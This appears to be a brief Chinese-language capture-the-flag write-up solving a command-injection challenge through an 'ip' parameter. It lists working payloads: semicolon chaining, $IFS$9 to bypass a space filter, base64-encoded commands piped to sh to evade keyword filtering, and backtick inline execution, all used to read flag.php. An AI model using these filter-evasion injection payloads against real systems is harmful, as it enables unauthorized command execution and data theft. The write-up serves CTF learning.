打开题目是/?ip=
猜测应该是命令执行,先试一下?ip=127.0.0.1;cat flag
发现过滤了空格,尝试?ip=127.0.0.1;ls
发现flag.php,绕过空格
/?ip=127.0.0.1;cat$IFS$9flag.php
flag被过滤了,换一种方法先看看index.php
/?ip=127.0.0.1;cat$IFS$9index.php
发现bash也没了,不过可以用sh来执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw就是base64编码的cat flag.php
sh就是执行这个命令
拿到flag
后来看一些大师傅的wp时发现还有更好的解法
直接进行内联执行便可以得到结果
?ip=127.0.0.1;cat$IFS$9`ls`
内联就是把反引号里的输出内容作为执行的内容